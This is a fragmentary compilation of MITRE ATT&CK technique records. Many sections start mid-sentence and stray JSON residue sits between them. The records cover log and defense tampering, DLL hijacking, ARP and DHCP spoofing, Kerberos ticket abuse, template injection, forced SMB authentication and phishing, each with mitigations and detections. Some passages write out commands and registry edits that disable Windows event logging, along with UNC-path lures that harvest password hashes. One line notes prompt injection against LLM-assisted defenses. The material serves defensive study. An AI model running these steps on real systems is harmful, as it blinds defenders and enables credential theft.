logging pipelines and forwarding mechanisms (e.g., SIEM ingestion).\n\nMore advanced techniques include leveraging legitimate drivers or debugging mechanisms to render tools non-functional, bypassing anti-tampering protections, and targeting specific defenses such as Sysmon or cloud monitoring agents. Adversaries may also disrupt broader defensive operations, including update mechanisms, logging infrastructure (e.g., syslog), or event aggregation, further degrading an organization’s ability to detect and respond to malicious activity.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows\n\n**Sub-techniques.** - T1685.002 Disable or Modify Cloud Log: An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.\n- T1685.007 Impair Autonomous Defenses: Adversaries may use methods like Indirect Prompt Injection to disrupt, disable, or otherwise impair autonomous defensive capabilities such as LLM-assisted processing of malware, artifacts, or activity.\n- T1685.001 Disable or Modify Windows Event Log: Adversaries may disable or modify the Windows Event Log to limit data that can be leveraged for detections and audits.

Windows Event Log records user and system activity such as login attempts and process creation. This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications. By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to `Security Settings\\Local Policies\\Audit Policy` for basic audit policy settings or `Security Settings\\Advanced Audit Policy Configuration` for advanced audit policy settings. `auditpol.exe` may also be used to set audit policies.\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the `Set-Service -Name EventLog -Status Stopped` or `sc config eventlog start=disabled` commands (followed by manually stopping the service using `Stop-Service -Name EventLog`). Additionally, the service may be disabled by modifying the \"Start\" value in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog` then restarting the system for the change to take effect.\n\nThere are several ways to disable the EventLog service via registry key modification. Without Administrator privileges, adversaries may modify the \"Start\" value in the key `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security`, then reboot the system to disable the Security EventLog. With Administrator privilege, adversaries may modify the same values in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System` and `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application` to disable the entire EventLog. […]\n\n## Reference: ATT&CK T1685.002 Disable or Modify Cloud Log\n**ATT&CK T1685.002 Disable or Modify Cloud Log (full record).** An adversary may disable or modify cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection. Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable or modify logging to avoid detection of their activities.\n\nFor example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity. They may alternatively tamper with logging functionality, for example, by removing any associated SNS topics, disabling multi-region logging, or disabling settings that validate and/or encrypt log files. In Office 365, an adversary may disable logging on mail collection activities for specific users by using the Set-MailboxAuditBypassAssociation cmdlet, by disabling M365 Advanced Auditing for the user, or by downgrading the user’s license from an Enterprise E5 to an Enterprise E3 license.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: IaaS, SaaS, Identity Provider, Office Suite\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **User Account Management**: User Account Management involves implementing and enforcing policies for the lifecycle of user accounts, including creation, modification, and deactivation. Proper account management reduces the attack surface by limiting unauthorized access, managing account privileges, and ensuring accounts are used according to organizational policies. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Disable or Modify Cloud Log**\n  - Cloud API events where logging services are stopped, deleted, or modified in a way that disables audit visibility. Defender view: unauthorized StopLogging, DeleteTrail, or UpdateSink operations correlated with privileged user activity.

Security tools typically provide visibility into system health, alerting, and operational status; by misrepresenting this information, adversaries can undermine defender trust in these signals and obscure the true security posture of the system.\n\nThis behavior is often used in conjunction with efforts to disable or modify tools, where adversaries first impair the functionality of defenses (e.g., EDR, logging agents) and then replace or mimic their interfaces to conceal the loss of visibility. By maintaining the appearance of normal operations, such as showing active protection, successful updates, or absence of threats, adversaries can delay investigation and response, enabling continued malicious activity.\n\nFor example, adversaries may display a fake Windows Security interface or system tray icon indicating a “protected” or “healthy” state after disabling Windows Defender or related services.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Linux, macOS, Windows\n- Sub-technique of: T1685 Disable or Modify Tools - Adversaries may disable, degrade, or tamper with security tools or applications (e.g., endpoint detection and response (EDR) tools, intrusion detection systems (IDS), antivirus, logging agents, sensors, etc.) to impair or reduce visibility of defensive capabilities.\n\n**Mitigations.** - **Execution Prevention**: Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection for Spoofing Tool UI across OS Platforms**\n  - Detection of inconsistencies between reported sensor health and actual process/service state.

Adversaries can use cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, MEGA, Microsoft OneDrive, or AWS S3 buckets for Exfiltration to Cloud Storage or to Upload Tools. Cloud accounts can also be used in the acquisition of infrastructure, such as Virtual Private Servers or Serverless infrastructure. Establishing cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.\n\nCreating Cloud Accounts may also require adversaries to establish Email Accounts to register with the cloud provider.\n\n## Reference: ATT&CK T1573.001 Symmetric Cryptography\n**ATT&CK T1573.001 Symmetric Cryptography (full record).** Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1573 Encrypted Channel - Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n\n**Detection strategies and analytics.** - **Detection Strategy for Encrypted Channel via Symmetric Cryptography across OS Platforms**\n  - Processes that typically do not perform cryptographic operations loading symmetric encryption libraries (e.g., bcryptprimitives.dll, aes.dll), then initiating outbound connections with high-entropy payloads.

[…]\n\n## Reference: ATT&CK T1573.002 Asymmetric Cryptography\n**ATT&CK T1573.002 Asymmetric Cryptography (full record).** Adversaries may employ a known asymmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Asymmetric cryptography, also known as public key cryptography, uses a keypair per party: one public that can be freely distributed, and one private. Due to how the keys are generated, the sender encrypts data with the receiver’s public key and the receiver decrypts the data with their private key. This ensures that only the intended recipient can read the encrypted data. Common public key encryption algorithms include RSA and ElGamal.\n\nFor efficiency, many protocols (including SSL/TLS) use symmetric cryptography once a connection is established, but use asymmetric cryptography to establish or transmit a key. As such, these protocols are classified as Asymmetric Cryptography.\n\n**Classification.** - Tactics: command-and-control\n- Platforms: ESXi, Linux, macOS, Network Devices, Windows\n- Sub-technique of: T1573 Encrypted Channel - Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol.\n\n**Mitigations.** - **Network Intrusion Prevention**: Use intrusion detection signatures to block traffic at network boundaries.\n- **SSL/TLS Inspection**: SSL/TLS inspection involves decrypting encrypted network traffic to examine its content for signs of malicious activity. This capability is crucial for detecting threats that use encryption to evade detection, such as phishing, malware, or data exfiltration. After inspection, the traffic is re-encrypted and forwarded to its destination. This mitigation can be implemented through the following measures:\n\n**Detection strategies and analytics.** - **Detection Strategy for Encrypted Channel via Asymmetric Cryptography across OS Platforms**\n  - Processes not typically associated with encryption loading asymmetric crypto libraries (e.g., rsaenh.dll, crypt32.dll) and subsequently initiating outbound TLS/SSL connections with abnormal certificate chains or handshakes.

Hijacking execution flow can be for the purposes of persistence, since this hijacked execution may reoccur over time. Adversaries may also use these mechanisms to elevate privileges or evade defenses, such as application control or other restrictions on execution.\n\nThere are many ways an adversary may hijack the flow of execution, including by manipulating how the operating system locates programs to be executed. How the operating system locates libraries to be used by a program can also be intercepted. Locations where the operating system looks for programs/resources, such as file directories and in the case of Windows the Registry, could also be poisoned to include malicious payloads.\n\n**Classification.** - Tactics: stealth, execution\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1574.010 Services File Permissions Weakness: Adversaries may execute their own malicious payloads by hijacking the binaries used by services.\n- T1574.013 KernelCallbackTable: Adversaries may abuse the `KernelCallbackTable` of a process to hijack its execution flow in order to run their own payloads.\n- T1574.007 Path Interception by PATH Environment Variable: Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries.\n- T1574.005 Executable Installer File Permissions Weakness: Adversaries may execute their own malicious payloads by hijacking the binaries used by an installer.\n- T1574.009 Path Interception by Unquoted Path: Adversaries may execute their own malicious payloads by hijacking vulnerable file path references.\n- T1574.004 Dylib Hijacking: Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime.\n- T1574.006 Dynamic Linker Hijacking: Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. […]\n\n## Reference: ATT&CK T1574.001 DLL\n**ATT&CK T1574.001 DLL (full record).** Adversaries may abuse dynamic-link library files (DLLs) in order to achieve persistence, escalate privileges, and evade defenses. DLLs are libraries that contain code and data that can be simultaneously utilized by multiple programs. While DLLs are not malicious by nature, they can be abused through mechanisms such as side-loading, hijacking search order, and phantom DLL hijacking.\n\nSpecific ways DLLs are abused by adversaries include:\n\n**DLL Sideloading.** Adversaries may execute their own malicious payloads by side-loading DLLs. Side-loading involves hijacking which DLL a program loads by planting and then invoking a legitimate application that executes their payload(s).\n\nSide-loading positions both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.\n\nAdversaries may also side-load other packages, such as BPLs (Borland Package Library).\n\nAdversaries may chain DLL sideloading multiple times to fragment functionality hindering analysis. Adversaries using multiple DLL files can split the loader functions across different DLLs, with a main DLL loading the separated export functions. Spreading loader functions across multiple DLLs makes analysis harder, since all files must be collected to fully understand the malware’s behavior. Another method implements a “loader-for-a-loader”, where a malicious DLL’s sole role is to load a second DLL (or a chain of DLLs) that contain the real payload.\n\n**DLL Search Order Hijacking.** Adversaries may execute their own malicious payloads by hijacking the search order that Windows uses to load DLLs. This search order is a sequence of special and standard search locations that a program checks when loading a DLL. An adversary can plant a trojan DLL in a directory that will be prioritized by the DLL search order over the location of a legitimate library. […]"}]}

If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.\n\nAn adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.\n\nThe ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.\n\nAdversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol. […]\n\n## Reference: ATT&CK T1557.003 DHCP Spoofing\n**ATT&CK T1557.003 DHCP Spoofing (full record).** Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as Network Sniffing or Transmitted Data Manipulation.\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients. The typical server-client interaction is as follows:\n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address.\n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered.\n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers. Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a `INFORMATION-REQUEST (code 11)` message to the `All_DHCP_Relay_Agents_and_Servers` multicast address. Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, Service Exhaustion Flood) by generating many broadcast DISCOVER messages to exhaust a network’s DHCP allocation pool. […]\n\n## Reference: ATT&CK T1557.004 Evil Twin\n**ATT&CK T1557.004 Evil Twin (full record).** Adversaries may host seemingly genuine Wi-Fi access points to deceive users into connecting to malicious networks as a way of supporting follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or Input Capture.\n\nBy using a Service Set Identifier (SSID) of a legitimate Wi-Fi network, fraudulent Wi-Fi access points may trick devices or users into connecting to malicious Wi-Fi networks. Adversaries may provide a stronger signal strength or block access to Wi-Fi access points to coerce or entice victim devices into connecting to malicious networks. A Wi-Fi Pineapple – a network security auditing and penetration testing tool – may be deployed in Evil Twin attacks for ease of use and broader range. Custom certificates may be used in an attempt to intercept HTTPS traffic.\n\nSimilarly, adversaries may also listen for client devices sending probe requests for known or previously connected networks (Preferred Network Lists or PNLs). When a malicious access point receives a probe request, adversaries can respond with the same SSID to imitate the trusted, known network. Victim devices are led to believe the responding access point is from their PNL and initiate a connection to the fraudulent network.\n\nUpon logging into the malicious Wi-Fi access point, a user may be directed to a fake login page or captive portal webpage to capture the victim’s credentials. Once a user is logged into the fraudulent Wi-Fi network, the adversary may able to monitor network activity, manipulate data, or steal additional credentials. Locations with high concentrations of public Wi-Fi access, such as airports, coffee shops, or libraries, may be targets for adversaries to set up illegitimate Wi-Fi access points.\n\n**Classification.** - Tactics: credential-access, collection\n- Platforms: Network Devices\n- Sub-technique of: T1557 Adversary-in-the-Middle - Adversaries may attempt to position themselves between two or more networked devices using an adversary-in-the-middle (AiTM) technique to support follow-on behaviors such as Network Sniffing, Transmitted Data Manipulation, or replay attacks (Exploitation for Credential Access).

Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as “realms”, there are three basic participants: client, service, and Key Distribution Center (KDC). Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in `klist` utility can be used to list and analyze cached Kerberos tickets.\n\n**Classification.** - Tactics: credential-access\n- Platforms: Linux, macOS, Windows\n\n**Sub-techniques.** - T1558.003 Kerberoasting: Adversaries may abuse a valid Kerberos ticket-granting ticket (TGT) or sniff network traffic to obtain a ticket-granting service (TGS) ticket that may be vulnerable to Brute Force.\n- T1558.002 Silver Ticket: Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets.\n- T1558.005 Ccache Files: Adversaries may attempt to steal Kerberos tickets stored in credential cache files (or ccache). These files are used for short term storage of a user's active session credentials.\n- T1558.004 AS-REP Roasting: Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by Password Cracking Kerberos messages.\n- T1558.001 Golden Ticket: Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.

Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with. Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.\n\nPrior to Code Signing, adversaries may develop self-signed code signing certificates for use in operations.\n\n## Reference: ATT&CK T1221 Template Injection\n**ATT&CK T1221 Template Injection (full record).** Adversaries may create or modify references in user document templates to conceal malicious code or force authentication attempts. For example, Microsoft’s Office Open XML (OOXML) specification defines an XML-based format for Office documents (.docx, xlsx,.pptx) to replace older binary formats (.doc,.xls,.ppt). OOXML files are packed together ZIP archives compromised of various XML files, referred to as parts, containing properties that collectively define how a document is rendered.\n\nProperties within parts may reference shared public resources accessed via online URLs. For example, template properties may reference a file, serving as a pre-formatted document blueprint, that is fetched when the document is loaded.\n\nAdversaries may abuse these templates to initially conceal malicious code to be executed via user documents. Template references injected into a document may enable malicious payloads to be fetched and executed when the document is loaded. These documents can be delivered via other techniques such as Phishing and/or Taint Shared Content and may evade static detections since no typical indicators (VBA macro, script, etc.) are present until after the malicious payload is fetched. Examples have been seen in the wild where template injection was used to load malicious code containing an exploit.\n\nAdversaries may also modify the `*\\template` control word within an.rtf file to similarly conceal then download malicious code. This legitimate control word value is intended to be a file destination of a template file resource that is retrieved and loaded when an.rtf file is opened. However, adversaries may alter the bytes of an existing.rtf file to insert a template control word field to include a URL resource of a malicious payload.\n\nThis technique may also enable Forced Authentication by injecting a SMB/HTTPS (or other credential prompting) URL and triggering an authentication attempt.\n\n**Classification.** - Tactics: stealth\n- Platforms: Windows\n\n**Mitigations.** - **Antivirus/Antimalware**: Antivirus/Antimalware solutions utilize signatures, heuristics, and behavioral analysis to detect, block, and remediate malicious software, including viruses, trojans, ransomware, and spyware.

File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nModifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions depending on the file or directory’s existing permissions. This may enable malicious activity such as modifying, replacing, or deleting specific files or directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, Unix Shell Configuration Modification, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.\n\nAdversaries may also change permissions of symbolic links. For example, malware (particularly ransomware) may modify symbolic links and associated settings to enable access to files from local shortcuts with remote paths.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: ESXi, Linux, macOS, Windows\n\n**Sub-techniques.** - T1222.002 Linux and Mac Permissions: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.\n- T1222.001 Windows Permissions: Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.\n\n**Mitigations.** - **Restrict File and Directory Permissions**: Restricting file and directory permissions involves setting access controls at the file system level to limit which users, groups, or processes can read, write, or execute files.

File and directory permissions are commonly managed by ACLs configured by the file or directory owner, or users with the appropriate permissions. File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nWindows implements file and directory ACLs as Discretionary Access Control Lists (DACLs). Similar to a standard ACL, DACLs identifies the accounts that are allowed or denied access to a securable object. When an attempt is made to access a securable object, the system checks the access control entries in the DACL in order. If a matching entry is found, access to the object is granted. Otherwise, access is denied.\n\nAdversaries can interact with the DACLs using built-in Windows commands, such as `icacls`, `cacls`, `takeown`, and `attrib`, which can grant adversaries higher permissions on specific files and folders. Further, PowerShell provides cmdlets that can be used to retrieve or modify file and directory DACLs. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via Accessibility Features, Boot or Logon Initialization Scripts, or tainting/hijacking other instrumental binary/configuration files via Hijack Execution Flow.\n\n**Classification.** - Tactics: defense-impairment\n- Platforms: Windows\n- Sub-technique of: T1222 File and Directory Permissions Modification - Adversaries may modify file or directory permissions/attributes to evade access control lists (ACLs) and access protected files.

File and directory ACL implementations vary by platform, but generally explicitly designate which users or groups can perform which actions (read, write, execute, etc.).\n\nMost Linux and Linux-based platforms provide a standard set of permission groups (user, group, and other) and a standard set of permissions (read, write, and execute) that are applied to each group. While nuances of each platform’s permissions implementation may vary, most of the platforms provide two primary commands used to manipulate file and directory ACLs: `chown` (short for change owner), and `chmod` (short for change mode).\n\nAdversarial may use these commands to make themselves the owner of files and directories or change the mode if current permissions allow it. They could subsequently lock others out of the file.

These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\n## Detection strategies and analytics\n- **Detection of Tool**\n  - Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in Cobalt Strike payloads.\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult.

When a Windows system attempts to connect to an SMB resource it will automatically attempt to authenticate and send credential information for the current user to the remote system. This behavior is typical in enterprise environments so that users do not need to enter credentials to access network resources.\n\nWeb Distributed Authoring and Versioning (WebDAV) is also typically used by Windows systems as a backup protocol when SMB is blocked or fails. WebDAV is an extension of HTTP and will typically operate over TCP ports 80 and 443.\n\nAdversaries may take advantage of this behavior to gain access to user account hashes through forced SMB/WebDAV authentication. An adversary can send an attachment to a user through spearphishing that contains a resource link to an external server controlled by the adversary (i.e. Template Injection), or place a specially crafted file on navigation path for privileged accounts (e.g..SCF file placed on desktop) or on a publicly accessible share to be accessed by victim(s). When the user's system accesses the untrusted resource, it will attempt authentication and send information, including the user's hashed credentials, over SMB to the adversary-controlled server. With access to the credential hash, an adversary can perform off-line Brute Force cracking to gain access to plaintext credentials.\n\nThere are several different ways this can occur. Some specifics from in-the-wild use include:\n\n* A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. Template Injection). The document can include, for example, a request similar to `file[:]//[remote address]/Normal.dotm` to trigger the SMB request.\n* A modified.LNK or.SCF file with the icon filename pointing to an external reference such as `\\\\[remote address]\\pic.png` that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. […]\n\n## Reference: ATT&CK T1189 Drive-by Compromise\n**ATT&CK T1189 Drive-by Compromise (full record).** Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. Multiple ways of delivering exploit code to a browser exist (i.e., Drive-by Target), including:\n\n* A legitimate website is compromised, allowing adversaries to inject malicious code\n* Script files served to a legitimate website from a publicly writeable cloud storage bucket are modified by an adversary\n* Malicious ads are paid for and served through legitimate ad providers (i.e., Malvertising)\n* Built-in web application interfaces that allow user-controllable content are leveraged for the insertion of malicious scripts or iFrames (e.g., cross-site scripting)\n\nBrowser push notifications may also be abused by adversaries and leveraged for malicious code injection via User Execution. By clicking \"allow\" on browser push notifications, users may be granting a website permission to run JavaScript code on their browser.\n\nOften the website used by an adversary is one visited by a specific community, such as government, a particular industry, or a particular region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.\n\nTypical drive-by compromise process:\n\n1. A user visits a website that is used to host the adversary controlled content.\n2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version. The user may be required to assist in this process by enabling scripting, notifications, or active website components and ignoring warning dialog boxes.\n3. Upon finding a vulnerable version, exploit code is delivered to the browser.\n4. If exploitation is successful, the adversary will gain code execution on the user's system unless other protections are in place. In some cases, a second visit to the website after the initial scan is required before exploit code is delivered.\n\nUnlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ. […]"}]}

They may accomplish this by exploiting open Wi-Fi networks used by target devices or by accessing secured Wi-Fi networks — requiring Valid Accounts — belonging to a target organization. Establishing a connection to a Wi-Fi access point requires a certain level of proximity to both discover and maintain a stable network connection.\n\nAdversaries may establish a wireless connection through various methods, such as by physically positioning themselves near a Wi-Fi network to conduct close access operations. To bypass the need for physical proximity, adversaries may attempt to remotely compromise nearby third-party systems that have both wired and wireless network connections available (i.e., dual-homed systems). These third-party compromised devices can then serve as a bridge to connect to a target’s Wi-Fi network.\n\nOnce an initial wireless connection is achieved, adversaries may leverage this access for follow-on activities in the victim network or further targeting of specific devices on the network.

Adversaries may create a custom application, add a legitimate application into the environment, or even co-opt an existing integration to achieve malicious ends.\n\nOAuth is an open standard that allows users to authorize applications to access their information on their behalf. In a SaaS environment such as Microsoft 365 or Google Workspace, users may integrate applications to improve their workflow and achieve tasks.\n\nLeveraging application integrations may allow adversaries to persist in an environment – for example, by granting consent to an application from a high-privileged adversary-controlled account in order to maintain access to its data, even in the event of losing access to the account. In some cases, integrations may remain valid even after the original consenting user account is disabled. Application integrations may also allow adversaries to bypass multi-factor authentication requirements through the use of Application Access Tokens. Finally, they may enable persistent Automated Exfiltration over time.\n\nCreating or adding a new application may require the adversary to create a dedicated Cloud Account for the application and assign it Additional Cloud Roles – for example, in Microsoft 365 environments, an application can only access resources via an associated service principal.\n\n**Classification.** - Tactics: persistence\n- Platforms: Office Suite, SaaS\n\n**Mitigations.** - **Disable or Remove Feature or Program**: Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries.

These activities focus on reducing an organization's attack surface, identify adversarial preparation efforts, and increase the difficulty for attackers to conduct successful operations. This mitigation can be implemented through the following measures:\n\nLimit Information Exposure:\n\n- Regularly audit and sanitize publicly available data, including job posts, websites, and social media.\n- Use tools like OSINT monitoring platforms (e.g., SpiderFoot, Recon-ng) to identify leaked information.\n\nProtect Domain and DNS Infrastructure:\n\n- Enable DNSSEC and use WHOIS privacy protection.\n- Monitor for domain hijacking or lookalike domains using services like RiskIQ or DomainTools.\n\nExternal Monitoring:\n\n- Use tools like Shodan, Censys to monitor your external attack surface.\n- Deploy external vulnerability scanners to proactively address weaknesses.\n\nThreat Intelligence:\n\n- Leverage platforms like MISP, Recorded Future, or Anomali to track adversarial infrastructure, tools, and activity.\n\nContent and Email Protections:\n\n- Use email security solutions like Proofpoint, Microsoft Defender for Office 365, or Mimecast.\n- Enforce SPF/DKIM/DMARC policies to protect against email spoofing.\n\nTraining and Awareness:\n\n- Educate employees on identifying phishing attempts, securing their social media, and avoiding information leaks.\n\n## Principle\nAgainst T1588.002, prefer preventive controls that remove the preconditions over purely detective controls, and layer the two.\n\n## Reference: ATT&CK T1055.015 ListPlanting\n**ATT&CK T1055.015 ListPlanting (full record).** Adversaries may abuse list-view controls to inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. ListPlanting is a method of executing arbitrary code in the address space of a separate live process. Code executed via ListPlanting may also evade detection from security products since the execution is masked under a legitimate process.\n\nList-view controls are user interface windows used to display collections of items. Information about an application's list-view settings are stored within the process' memory in a `SysListView32` control.\n\nListPlanting (a form of message-passing \"shatter attack\") may be performed by copying code into the virtual address space of a process that uses a list-view control then using that code as a custom callback for sorting the listed items. Adversaries must first copy code into the target process’ memory space, which can be performed various ways including by directly obtaining a handle to the `SysListView32` child of the victim process window (via Windows API calls such as `FindWindow` and/or `EnumWindows`) or other Process Injection methods.\n\nSome variations of ListPlanting may allocate memory in the target process but then use window messages to copy the payload, to avoid the use of the highly monitored `WriteProcessMemory` function. For example, an adversary can use the `PostMessage` and/or `SendMessage` API functions to send `LVM_SETITEMPOSITION` and `LVM_GETITEMPOSITION` messages, effectively copying a payload 2 bytes at a time to the allocated memory.\n\nFinally, the payload is triggered by sending the `LVM_SORTITEMS` message to the `SysListView32` child of the process window, with the payload within the newly allocated buffer passed and executed as the `ListView_SortItems` callback.\n\n**Classification.** - Tactics: stealth, privilege-escalation\n- Platforms: Windows\n- Sub-technique of: T1055 Process Injection - Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges.

This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell).\n\nAdversaries may also mimic common software authentication requests, such as those from browsers or email clients.

In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.\n\nAdversaries may send victims emails containing malicious attachments or links, typically to execute malicious code on victim systems. Phishing may also be conducted via third-party services (like social media platforms) or delivered via calendar invites. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules). Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools, or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., \"thread hijacking\").\n\nVictims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware, or install adversary-accessible remote management tools onto their computer (i.e., User Execution).\n\n**Classification.** - Tactics: initial-access\n- Platforms: Identity Provider, Linux, macOS, Office Suite, SaaS, Windows\n\n**Sub-techniques.** - T1566.002 Spearphishing Link: Adversaries may send spearphishing emails with a malicious link in an attempt to gain access to victim systems.

